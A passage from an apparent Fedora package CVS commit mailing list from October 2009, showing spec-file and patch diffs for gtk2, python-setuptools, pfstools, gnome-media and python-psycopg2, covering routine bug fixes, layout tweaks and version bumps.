       gtk_tray_icon_get_orientation_property (icon);
       gtk_tray_icon_get_visual_property (icon);
+      gtk_tray_icon_get_padding_property (icon);
 
       if (GTK_WIDGET_REALIZED (icon))
 	{
@@ -740,6 +816,14 @@ _gtk_tray_icon_get_orientation (GtkTrayIcon *icon)
   return icon->priv->orientation;
 }
 
+gint
+_gtk_tray_icon_get_padding (GtkTrayIcon *icon)
+{
+  g_return_val_if_fail (GTK_IS_TRAY_ICON (icon), 0);
+
+  return icon->priv->padding;
+}
+
 
 #define __GTK_TRAY_ICON_X11_C__
 #include "gtkaliasdef.c"
diff --git a/gtk/gtktrayicon.h b/gtk/gtktrayicon.h
index 4c1e184..6dc9852 100644
--- a/gtk/gtktrayicon.h
+++ b/gtk/gtktrayicon.h
@@ -69,7 +69,8 @@ void           _gtk_tray_icon_cancel_message  (GtkTrayIcon *icon,
 					       guint        id);
 
 GtkOrientation _gtk_tray_icon_get_orientation (GtkTrayIcon *icon);
-					    
+gint           _gtk_tray_icon_get_padding     (GtkTrayIcon *icon);
+
 G_END_DECLS
 
 #endif /* __GTK_TRAY_ICON_H__ */


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.413
retrieving revision 1.414
diff -u -p -r1.413 -r1.414
--- gtk2.spec	17 Oct 2009 05:29:18 -0000	1.413
+++ gtk2.spec	18 Oct 2009 03:59:13 -0000	1.414
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -28,6 +28,8 @@ Source3: im-cedilla.conf
 # Biarch changes
 Patch0: gtk+-2.13.5-lib64.patch
 Patch1: system-python.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=583273
+Patch2: icon-padding.patch
 
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -140,6 +142,7 @@ This package contains developer document
 
 %patch0 -p1 -b .lib64
 %patch1 -p1 -b .system-python
+%patch2 -p1 -b .icon-padding
 
 %build
 libtoolize --force --copy
@@ -376,6 +379,9 @@ fi
 
 
 %changelog
+* Sat Oct 17 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-2
+- Support padding around status icons
+
 * Sat Oct 17 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-1
 - Update to 2.18.3
 



From toshio at fedoraproject.org  Sun Oct 18 05:32:40 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Sun, 18 Oct 2009 05:32:40 +0000 (UTC)
Subject: rpms/python-setuptools/devel .cvsignore, 1.14,
	1.15 python-setuptools.spec, 1.22, 1.23 sources, 1.14, 1.15
Message-ID: <20091018053240.5141511C00E8@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/python-setuptools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13695

Modified Files:
	.cvsignore python-setuptools.spec sources 
Log Message:

* Fri Oct 16 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.6.6-1
- Upstream bugfix release.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-setuptools/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	13 Oct 2009 03:36:23 -0000	1.14
+++ .cvsignore	18 Oct 2009 05:32:38 -0000	1.15
@@ -1 +1 @@
-distribute-0.6.4.tar.gz
+distribute-0.6.6.tar.gz


Index: python-setuptools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-setuptools/devel/python-setuptools.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- python-setuptools.spec	13 Oct 2009 03:36:23 -0000	1.22
+++ python-setuptools.spec	18 Oct 2009 05:32:38 -0000	1.23
@@ -3,7 +3,7 @@
 %global srcname distribute
 
 Name:           python-setuptools
-Version:        0.6.4
+Version:        0.6.6
 Release:        1%{?dist}
 Summary:        Easily build and distribute Python packages
 
@@ -86,6 +86,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.6.6-1
+- Upstream bugfix release.
+
 * Mon Oct 12 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.6.4-1
 - First build from the distribute codebase -- distribute-0.6.4.
 - Remove svn patch as upstream has chosen to go with an easier change for now.
@@ -158,6 +161,3 @@ rm -rf $RPM_BUILD_ROOT
 
 * Mon Jan 16 2006 Ignacio Vazquez-Abrams <ivazquez at ivazquez.net> 0.6a9-1
 - Upstream update
-
-* Sat Dec 24 2005 Ignacio Vazquez-Abrams <ivazquez at ivazquez.net> 0.6a8-1
-- Initial RPM release


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-setuptools/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	13 Oct 2009 03:36:23 -0000	1.14
+++ sources	18 Oct 2009 05:32:38 -0000	1.15
@@ -1 +1 @@
-7a963679fddc64a0e363b2ccf8024952  distribute-0.6.4.tar.gz
+a0a7541a8169d73842e4bb88d79cf8d3  distribute-0.6.6.tar.gz



From mclasen at fedoraproject.org  Sun Oct 18 05:43:10 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sun, 18 Oct 2009 05:43:10 +0000 (UTC)
Subject: rpms/gtk2/F-12 image-size-alloc.patch, NONE, 1.1 gtk2.spec, 1.414,
	1.415
Message-ID: <20091018054310.3416011C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18009

Modified Files:
	gtk2.spec 
Added Files:
	image-size-alloc.patch 
Log Message:
Fix a size allocation problem


image-size-alloc.patch:
 gtkimage.c |   21 +++++++++++++++++----
 1 file changed, 17 insertions(+), 4 deletions(-)

--- NEW FILE image-size-alloc.patch ---
--- /home/mclasen/git.gnome.org/gtk+/gtk/gtkimage.c	2009-06-04 15:18:04.063943764 -0400
+++ gtk+-2.18.3/gtk/gtkimage.c	2009-10-18 01:31:00.705062264 -0400
@@ -45,6 +45,7 @@
   gchar *filename;
 
   gint pixel_size;
+  guint need_calc_size : 1;
 };
 
 #define GTK_IMAGE_GET_PRIVATE(obj) (G_TYPE_INSTANCE_GET_PRIVATE ((obj), GTK_TYPE_IMAGE, GtkImagePrivate))
@@ -1710,6 +1711,7 @@
     {
       GtkImage *image;
       GtkMisc *misc;
+      GtkImagePrivate *priv;
       GdkRectangle area, image_bound;
       gfloat xalign;
       gint x, y, mask_x, mask_y;
@@ -1719,6 +1721,7 @@
 
       image = GTK_IMAGE (widget);
       misc = GTK_MISC (widget);
+      priv = GTK_IMAGE_GET_PRIVATE (image);
 
       area = event->area;
 
@@ -1727,7 +1730,7 @@
        * and size_request() if something explicitely forces
        * a redraw.
        */
-      if (widget->requisition.width == 0 && widget->requisition.height == 0)
+      if (priv->need_calc_size)
 	gtk_image_calc_size (image);
       
       if (!gdk_rectangle_intersect (&area, &widget->allocation, &area))
@@ -1737,7 +1740,7 @@
 	xalign = misc->xalign;
       else
 	xalign = 1.0 - misc->xalign;
-  
+
       x = floor (widget->allocation.x + misc->xpad
 		 + ((widget->allocation.width - widget->requisition.width) * xalign));
       y = floor (widget->allocation.y + misc->ypad 
@@ -2149,8 +2152,13 @@
 void
 gtk_image_clear (GtkImage *image)
 {
-  gtk_image_reset (image);
+  GtkImagePrivate *priv;
+
+  priv = GTK_IMAGE_GET_PRIVATE (image);
+
+  priv->need_calc_size = 1;
 
+  gtk_image_reset (image);
   gtk_image_update_size (image, 0, 0);
 }
 
@@ -2159,7 +2167,12 @@
 {
   GtkWidget *widget = GTK_WIDGET (image);
   GdkPixbuf *pixbuf = NULL;
-  
+  GtkImagePrivate *priv;
+
+  priv = GTK_IMAGE_GET_PRIVATE (image);
+
+  priv->need_calc_size = 0;
+
   /* We update stock/icon set on every size request, because
    * the theme could have affected the size; for other kinds of
    * image, we just update the requisition when the image data


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.414
retrieving revision 1.415
diff -u -p -r1.414 -r1.415
--- gtk2.spec	18 Oct 2009 03:59:13 -0000	1.414
+++ gtk2.spec	18 Oct 2009 05:43:09 -0000	1.415
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -30,6 +30,8 @@ Patch0: gtk+-2.13.5-lib64.patch
 Patch1: system-python.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=583273
 Patch2: icon-padding.patch
+# from upstream
+Patch3: image-size-alloc.patch
 
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -143,6 +145,7 @@ This package contains developer document
 %patch0 -p1 -b .lib64
 %patch1 -p1 -b .system-python
 %patch2 -p1 -b .icon-padding
+%patch3 -p1 -b .image-size-alloc
 
 %build
 libtoolize --force --copy
@@ -379,6 +382,9 @@ fi
 
 
 %changelog
+* Sun Oct 18 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-3
+- Fix a size allocation problem uncovered by the previous patch
+
 * Sat Oct 17 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-2
 - Support padding around status icons
 



From alexlan at fedoraproject.org  Sun Oct 18 05:48:24 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Sun, 18 Oct 2009 05:48:24 +0000 (UTC)
Subject: rpms/pfstools/F-11 pfstools-1.7-strcmp.patch, NONE,
	1.1 pfstools-1.7.0-debuginfo.patch, NONE, 1.1 pfstools.spec, 1.4, 1.5
Message-ID: <20091018054825.022D311C00E8@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/pkgs/rpms/pfstools/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19881

Modified Files:
	pfstools.spec 
Added Files:
	pfstools-1.7-strcmp.patch pfstools-1.7.0-debuginfo.patch 
Log Message:
Sync with F-12 branch and rebuild against new octave (#525423)


pfstools-1.7-strcmp.patch:
 picture_io.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE pfstools-1.7-strcmp.patch ---
--- pfstools-1.7.0/src/pfsglview/picture_io.cpp-d	2009-05-10 02:08:04.185662227 -0700
+++ pfstools-1.7.0/src/pfsglview/picture_io.cpp	2009-05-10 02:09:51.029678179 -0700
@@ -87,7 +87,7 @@ void PictureIO::setFrame(pfs::Frame *fra
 		return;
 
 	// only XYZ channels are taken into consideration
-	if( channel != "XYZ" &&  channel != "X00" && channel != "0Y0" && channel != "00Z" ) {
+	if(strcmp(channel, "XYZ") != 0 && strcmp(channel, "X00") != 0 && strcmp(channel, "0Y0") != 0 && strcmp(channel, "00Z") != 0 ) {
 		if(verbose)
 			fprintf( stderr, "WARNING: wrong channel (PictureIO::setFrame())\n");
 		return;

pfstools-1.7.0-debuginfo.patch:
 configure.ac |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE pfstools-1.7.0-debuginfo.patch ---
diff -up pfstools-1.7.0/configure.ac~ pfstools-1.7.0/configure.ac
--- pfstools-1.7.0/configure.ac~	2008-10-15 01:38:00.000000000 +0300
+++ pfstools-1.7.0/configure.ac	2009-05-08 22:55:28.000000000 +0300
@@ -29,8 +29,6 @@ AC_ARG_ENABLE(debug,
 		     AC_DEFINE([DEBUG])
 		  fi],
                   [enable_debug="no"
-                     temp_CXXFLAGS=`echo $CXXFLAGS | sed "s/-O./ /; s/-g//"`
-   	             CXXFLAGS="-O3 $temp_CXXFLAGS"
                      AC_DEFINE(NDEBUG, 1, [Disable assertion checks])
                   ])
 


Index: pfstools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pfstools/F-11/pfstools.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- pfstools.spec	24 Mar 2009 00:45:46 -0000	1.4
+++ pfstools.spec	18 Oct 2009 05:48:24 -0000	1.5
@@ -1,6 +1,6 @@
 Name:		pfstools
 Version:	1.7.0
-Release:	5%{?dist}
+Release:	8%{?dist}
 Summary:	Programs for handling high-dynamic range images
 
 Group:		Applications/Multimedia
@@ -10,6 +10,8 @@ Source0:	http://downloads.sourceforge.ne
 Patch1:		pfstools-mDATA.patch
 Patch2:		pfstools-1.7.0-bf1.patch
 Patch3:		pfstools-1.7.0-gcc44.patch
+Patch4:		pfstools-1.7-strcmp.patch
+Patch5:		pfstools-1.7.0-debuginfo.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	automake
@@ -119,15 +121,15 @@ etc., for developing programs which can 
 %patch1 -p1 -b .mDATA
 %patch2 -p1 -b .bf1
 %patch3 -p1 -b .gcc44
-# Remove the following once the patch for the Makefile.am file
-# is not necessary anymore.
-aclocal
-automake
-libtoolize --automake
+%patch4 -p1 -b .strcmp
+%patch5 -p1 -b .debuginfo
+# Remove the following once the patches for configure.ac and Makefile.am
+# are not necessary anymore.
+autoreconf -i
 
 
 %build
-%configure
+%configure --disable-static --disable-dependency-tracking
 make %{?_smp_mflags}
 
 
@@ -138,7 +140,6 @@ make DESTDIR=$RPM_BUILD_ROOT "INSTALL=in
 
 # XXX Nuke unpackaged files
 { cd ${RPM_BUILD_ROOT}
-  rm -f .%{_libdir}/libpfs-1.2.a
   rm -f .%{_libdir}/libpfs-1.2.la
   rm -f .%{_mandir}/man1/pfsinjpeghdr.1
   rm -f .%{_mandir}/man1/pfsoutjpeghdr.1
@@ -248,10 +249,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/pfsoctavelum
 %{_bindir}/pfsoctavergb
 %{_bindir}/pfsstat
-%{_libexecdir}/octave/*/site/oct/*/pfstools/
-#%{_libexecdir}/octave/*/site/oct/*/pfstools/*.oct
+%{_libexecdir}/octave/*/site/oct/*/pfstools
 %{_datadir}/octave/*/site/m/pfstools
-%{_datadir}/octave/*/site/m/pfstools/*.m
 %{_mandir}/man1/pfsoctavelum.1.gz
 %{_mandir}/man1/pfsoctavergb.1.gz
 %{_mandir}/man1/pfsstat.1.gz
@@ -267,10 +266,20 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libpfs-1.2.so
 %{_libdir}/pkgconfig/pfs.pc
 %{_includedir}/pfs-1.2
-%{_includedir}/pfs-1.2/array2d.h
-%{_includedir}/pfs-1.2/pfs.h
 
 %changelog
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.7.0-8
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Tue Jun  9 2009 Ville Skytt? <ville.skytta at iki.fi> - 1.7.0-7
+- Patch to generate useful debuginfo subpackage (#499912).
+- Disable autotools dependency tracking during build for cleaner build logs
+  and possible slight build speedup.
+
+* Sun May 10 2009 Ulrich Drepper <drepper at redhat.com> - 1.7.0-6
+- fix up spec file.  Remove unnecessary code.
+- fix comparison of strings
+
 * Mon Mar 23 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 1.7.0-5
 - Add patch to fix building with GCC 4.4
 



From mclasen at fedoraproject.org  Sun Oct 18 07:03:30 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sun, 18 Oct 2009 07:03:30 +0000 (UTC)
Subject: rpms/gnome-media/F-12 layout-tweaks.patch, NONE, 1.1 options.patch, 
	NONE, 1.1 gnome-media.spec, 1.183, 1.184
Message-ID: <20091018070330.597C611C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-media/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12235

Modified Files:
	gnome-media.spec 
Added Files:
	layout-tweaks.patch options.patch 
Log Message:
Cosmetic fixes


layout-tweaks.patch:
 gnome-volume-control/src/gvc-combo-box.c    |    4 +-
 gnome-volume-control/src/gvc-mixer-dialog.c |   42 ++++++++++++++++++----------
 sound-theme/gvc-sound-theme-chooser.c       |   13 +++++---
 3 files changed, 37 insertions(+), 22 deletions(-)

--- NEW FILE layout-tweaks.patch ---
--- gnome-media-2.28.1/gnome-volume-control/src/gvc-combo-box.c	2009-08-13 07:31:18.000000000 -0400
+++ hacked/gnome-volume-control/src/gvc-combo-box.c	2009-10-16 22:22:05.288781546 -0400
@@ -280,14 +280,14 @@
                                        renderer,
                                        "text", COL_HUMAN_NAME);
 
-        gtk_widget_set_size_request (combo_box->priv->combobox, 128, -1);
+/*       gtk_widget_set_size_request (combo_box->priv->combobox, 128, -1); */
 
         combo_box->priv->start_box = sbox = gtk_hbox_new (FALSE, 6);
         gtk_box_pack_start (GTK_BOX (box), sbox, FALSE, FALSE, 0);
 
         gtk_box_pack_start (GTK_BOX (sbox), combo_box->priv->label, FALSE, FALSE, 0);
 
-        gtk_box_pack_start (GTK_BOX (box), combo_box->priv->combobox, TRUE, TRUE, 0);
+        gtk_box_pack_start (GTK_BOX (box), combo_box->priv->combobox, FALSE, FALSE, 0);
 
         combo_box->priv->end_box = ebox = gtk_hbox_new (FALSE, 6);
         gtk_box_pack_start (GTK_BOX (box), ebox, FALSE, FALSE, 0);
--- gnome-media-2.28.1/gnome-volume-control/src/gvc-mixer-dialog.c	2009-09-22 10:18:54.000000000 -0400
+++ hacked/gnome-volume-control/src/gvc-mixer-dialog.c	2009-10-17 00:03:53.113531901 -0400
@@ -232,7 +232,7 @@
         }
         gtk_box_pack_start (GTK_BOX (dialog->priv->output_settings_box),
                             dialog->priv->output_balance_bar,
-                            FALSE, FALSE, 12);
+                            FALSE, FALSE, 6);
         gtk_widget_show (dialog->priv->output_balance_bar);
 
         if (gvc_channel_map_can_fade (map)) {
@@ -244,7 +244,7 @@
                 }
                 gtk_box_pack_start (GTK_BOX (dialog->priv->output_settings_box),
                                     dialog->priv->output_fade_bar,
-                                    FALSE, FALSE, 12);
+                                    FALSE, FALSE, 6);
                 gtk_widget_show (dialog->priv->output_fade_bar);
         }
 
@@ -257,7 +257,7 @@
                 }
                 gtk_box_pack_start (GTK_BOX (dialog->priv->output_settings_box),
                                     dialog->priv->output_lfe_bar,
-                                    FALSE, FALSE, 12);
+                                    FALSE, FALSE, 6);
                 gtk_widget_show (dialog->priv->output_lfe_bar);
         }
 
@@ -276,7 +276,10 @@
 
                 gtk_box_pack_start (GTK_BOX (dialog->priv->output_settings_box),
                                     dialog->priv->output_port_combo,
-                                    TRUE, FALSE, 0);
+                                    TRUE, FALSE, 6);
+
+                gvc_combo_box_set_size_group (dialog->priv->output_port_combo, dialog->priv->size_group, FALSE);
+
                 gtk_widget_show (dialog->priv->output_port_combo);
         }
 
@@ -530,6 +533,7 @@
                 g_signal_connect (G_OBJECT (dialog->priv->input_port_combo), "changed",
                                   G_CALLBACK (port_selection_changed), dialog);
 
+                gvc_combo_box_set_size_group (dialog->priv->input_port_combo, dialog->priv->size_group, FALSE);
                 gtk_box_pack_start (GTK_BOX (dialog->priv->input_settings_box),
                                     dialog->priv->input_port_combo,
                                     TRUE, TRUE, 0);
@@ -1439,7 +1443,7 @@
 
         gtk_box_pack_start (GTK_BOX (dialog->priv->hw_settings_box),
                             dialog->priv->hw_profile_combo,
-                            FALSE, FALSE, 12);
+                            TRUE, TRUE, 6);
         gtk_widget_show (dialog->priv->hw_profile_combo);
 
         g_object_set_data (G_OBJECT (dialog->priv->hw_profile_combo), "card", card);
@@ -1576,13 +1580,17 @@
         gtk_dialog_add_button (GTK_DIALOG (self), "gtk-close", GTK_RESPONSE_OK);
 
         main_vbox = gtk_dialog_get_content_area (GTK_DIALOG (self));
+        gtk_box_set_spacing (GTK_BOX (main_vbox), 2);
 
         gtk_container_set_border_width (GTK_CONTAINER (self), 6);
 
         self->priv->output_stream_box = gtk_hbox_new (FALSE, 12);
+        alignment = gtk_alignment_new (0, 0, 1, 1);
+        gtk_alignment_set_padding (GTK_ALIGNMENT (alignment), 12, 0, 0, 0);
+        gtk_container_add (GTK_CONTAINER (alignment), self->priv->output_stream_box);
         gtk_box_pack_start (GTK_BOX (main_vbox),
-                            self->priv->output_stream_box,
-                            FALSE, FALSE, 12);
+                            alignment,
+                            FALSE, FALSE, 0);
         self->priv->output_bar = create_bar (self, self->priv->size_group, TRUE);
         gvc_channel_bar_set_name (GVC_CHANNEL_BAR (self->priv->output_bar),
                                   _("_Output volume: "));
@@ -1593,7 +1601,8 @@
         self->priv->notebook = gtk_notebook_new ();
         gtk_box_pack_start (GTK_BOX (main_vbox),
                             self->priv->notebook,
-                            TRUE, TRUE, 6);
+                            TRUE, TRUE, 0);
+        gtk_container_set_border_width (GTK_CONTAINER (self->priv->notebook), 5);
 
         /* Set up accels (borrowed from Empathy) */
         accel_group = gtk_accel_group_new ();
@@ -1625,7 +1634,7 @@
                                   _("_Alert volume: "));
         gtk_widget_set_sensitive (self->priv->effects_bar, FALSE);
         gtk_box_pack_start (GTK_BOX (self->priv->sound_effects_box),
-                            self->priv->effects_bar, FALSE, FALSE, 12);
+                            self->priv->effects_bar, FALSE, FALSE, 0);
 
         self->priv->sound_theme_chooser = gvc_sound_theme_chooser_new ();
         gtk_box_pack_start (GTK_BOX (self->priv->sound_effects_box),
@@ -1691,14 +1700,17 @@
         gvc_channel_bar_set_high_icon_name (GVC_CHANNEL_BAR (self->priv->input_bar),
                                             "audio-input-microphone-high");
         gtk_widget_set_sensitive (self->priv->input_bar, FALSE);
+        alignment = gtk_alignment_new (0, 0, 1, 1);
+        gtk_alignment_set_padding (GTK_ALIGNMENT (alignment), 6, 0, 0, 0);
+        gtk_container_add (GTK_CONTAINER (alignment), self->priv->input_bar);
         gtk_box_pack_start (GTK_BOX (self->priv->input_box),
-                            self->priv->input_bar,
-                            FALSE, FALSE, 12);
+                            alignment,
+                            FALSE, FALSE, 0);
 
         box = gtk_hbox_new (FALSE, 6);
         gtk_box_pack_start (GTK_BOX (self->priv->input_box),
                             box,
-                            FALSE, FALSE, 12);
+                            FALSE, FALSE, 6);
 
         sbox = gtk_hbox_new (FALSE, 6);
         gtk_box_pack_start (GTK_BOX (box),
@@ -1718,7 +1730,7 @@
                                  GVC_LEVEL_SCALE_LINEAR);
         gtk_box_pack_start (GTK_BOX (box),
                             self->priv->input_level_bar,
-                            TRUE, TRUE, 0);
+                            TRUE, TRUE, 6);
         gtk_widget_show (self->priv->input_level_bar);
 
         ebox = gtk_hbox_new (FALSE, 6);
@@ -1798,8 +1810,8 @@
         label = gtk_frame_get_label_widget (GTK_FRAME (box));
         _gtk_label_make_bold (GTK_LABEL (label));
         gtk_frame_set_shadow_type (GTK_FRAME (box), GTK_SHADOW_NONE);
-        gtk_box_pack_start (GTK_BOX (self->priv->output_box), box, TRUE, TRUE, 12);
-        self->priv->output_settings_box = gtk_vbox_new (FALSE, 12);
+        gtk_box_pack_start (GTK_BOX (self->priv->output_box), box, FALSE, FALSE, 12);
+        self->priv->output_settings_box = gtk_vbox_new (FALSE, 0);
         gtk_container_add (GTK_CONTAINER (box), self->priv->output_settings_box);
 
         /* Applications */
--- gnome-media-2.28.1/sound-theme/gvc-sound-theme-chooser.c	2009-08-13 07:31:19.000000000 -0400
+++ hacked/sound-theme/gvc-sound-theme-chooser.c	2009-10-16 23:52:43.427536802 -0400
@@ -1078,14 +1078,14 @@
 
         chooser->priv = GVC_SOUND_THEME_CHOOSER_GET_PRIVATE (chooser);
 
-        chooser->priv->theme_box = gtk_hbox_new (FALSE, 6);
+        chooser->priv->theme_box = gtk_hbox_new (FALSE, 0);
         gtk_box_pack_start (GTK_BOX (chooser),
                             chooser->priv->theme_box, FALSE, FALSE, 0);
 
         label = gtk_label_new_with_mnemonic (_("Sound _theme:"));
-        gtk_box_pack_start (GTK_BOX (chooser->priv->theme_box), label, FALSE, FALSE, 6);
+        gtk_box_pack_start (GTK_BOX (chooser->priv->theme_box), label, FALSE, FALSE, 0);
         chooser->priv->combo_box = gtk_combo_box_new ();
-        gtk_box_pack_start (GTK_BOX (chooser->priv->theme_box), chooser->priv->combo_box, FALSE, FALSE, 0);
+        gtk_box_pack_start (GTK_BOX (chooser->priv->theme_box), chooser->priv->combo_box, FALSE, FALSE, 6);
         gtk_label_set_mnemonic_widget (GTK_LABEL (label), chooser->priv->combo_box);
 
         client = gconf_client_get_default ();
@@ -1098,11 +1098,14 @@
         gtk_label_set_use_markup (GTK_LABEL (label), TRUE);
         gtk_frame_set_shadow_type (GTK_FRAME (box), GTK_SHADOW_NONE);
 
-        gtk_box_pack_start (GTK_BOX (chooser), box, TRUE, TRUE, 6);
+        alignment = gtk_alignment_new (0, 0, 1, 1);
+        gtk_alignment_set_padding (GTK_ALIGNMENT (alignment), 6, 0, 0, 0);
+        gtk_container_add (GTK_CONTAINER (alignment), box);
+        gtk_box_pack_start (GTK_BOX (chooser), alignment, TRUE, TRUE, 6);
 
         alignment = gtk_alignment_new (0, 0, 1, 1);
-        gtk_container_add (GTK_CONTAINER (box), alignment);
         gtk_alignment_set_padding (GTK_ALIGNMENT (alignment), 6, 0, 0, 0);
+        gtk_container_add (GTK_CONTAINER (box), alignment);
 
         chooser->priv->treeview = create_alert_treeview (chooser);
         gtk_label_set_mnemonic_widget (GTK_LABEL (label), chooser->priv->treeview);

options.patch:
 gvc-mixer-dialog.c |    8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

--- NEW FILE options.patch ---
--- gnome-media-2.28.1/gnome-volume-control/src/gvc-mixer-dialog.c	2009-10-18 02:54:45.248073742 -0400
+++ hacked2/gnome-volume-control/src/gvc-mixer-dialog.c	2009-10-18 02:43:41.895066149 -0400
@@ -1959,14 +1959,16 @@
         g_return_val_if_fail (self != NULL, FALSE);
 
         if (g_ascii_strncasecmp(page, "playback",8) == 0)
-                gtk_notebook_set_current_page (GTK_NOTEBOOK (self->priv->notebook), 2);
+                gtk_notebook_set_current_page (GTK_NOTEBOOK (self->priv->notebook), 3);
         else if (g_ascii_strncasecmp(page, "recording",9) == 0)
+                gtk_notebook_set_current_page (GTK_NOTEBOOK (self->priv->notebook), 2);
+        else if (g_ascii_strncasecmp(page, "hardware",8) == 0)
                 gtk_notebook_set_current_page (GTK_NOTEBOOK (self->priv->notebook), 1);
         else if (g_ascii_strncasecmp(page, "effects",7) == 0)
                 gtk_notebook_set_current_page (GTK_NOTEBOOK (self->priv->notebook), 0);
         else if (g_ascii_strncasecmp(page, "applications",12) == 0)
-                gtk_notebook_set_current_page (GTK_NOTEBOOK (self->priv->notebook), 3);
-        else /* default is "playback" */
+                gtk_notebook_set_current_page (GTK_NOTEBOOK (self->priv->notebook), 4);
+        else /* default is "effects" */
                 gtk_notebook_set_current_page (GTK_NOTEBOOK (self->priv->notebook), 0);
 
         return TRUE;


Index: gnome-media.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-media/F-12/gnome-media.spec,v
retrieving revision 1.183
retrieving revision 1.184
diff -u -p -r1.183 -r1.184
--- gnome-media.spec	7 Oct 2009 10:03:13 -0000	1.183
+++ gnome-media.spec	18 Oct 2009 07:03:27 -0000	1.184
@@ -14,11 +14,17 @@
 Summary:        GNOME media programs
 Name:           gnome-media
 Version:        2.28.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 License:        GPLv2+ and GFDL
 Group:          Applications/Multimedia
 Source:         http://download.gnome.org/sources/gnome-media/2.28/gnome-media-%{version}.tar.bz2
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=598822
+Patch0: layout-tweaks.patch
+
+# https://bugzilla.gnome.org/show_bug.cgi?id=598821
+Patch1: options.patch
+
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Obsoletes:      gnome
 URL:            http://www.gnome.org
@@ -82,6 +88,8 @@ framework.
 
 %prep
 %setup -q
+%patch0 -p1 -b .layout-tweaks
+%patch1 -p1 -b .options
 
 # force regeneration
 rm profiles/gnome-audio-profiles.schemas
@@ -311,6 +319,10 @@ fi
 
 
 %changelog
+* Sun Oct 18 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-2
+- Cosmetic fixes to the layout of gnome-volume-control
+- Fix the --page commandline option
+
 * Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
 - Update to 2.28.1
 



From devrim at fedoraproject.org  Sun Oct 18 07:16:37 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Sun, 18 Oct 2009 07:16:37 +0000 (UTC)
Subject: rpms/python-psycopg2/EL-5 .cvsignore, 1.9, 1.10 python-psycopg2.spec,
	1.12, 1.13 sources, 1.9, 1.10
Message-ID: <20091018071637.1E6C211C00E8@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/python-psycopg2/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15641/EL-5

Modified Files:
	.cvsignore python-psycopg2.spec sources 
Log Message:

Update to 2.0.13. 



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/EL-5/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
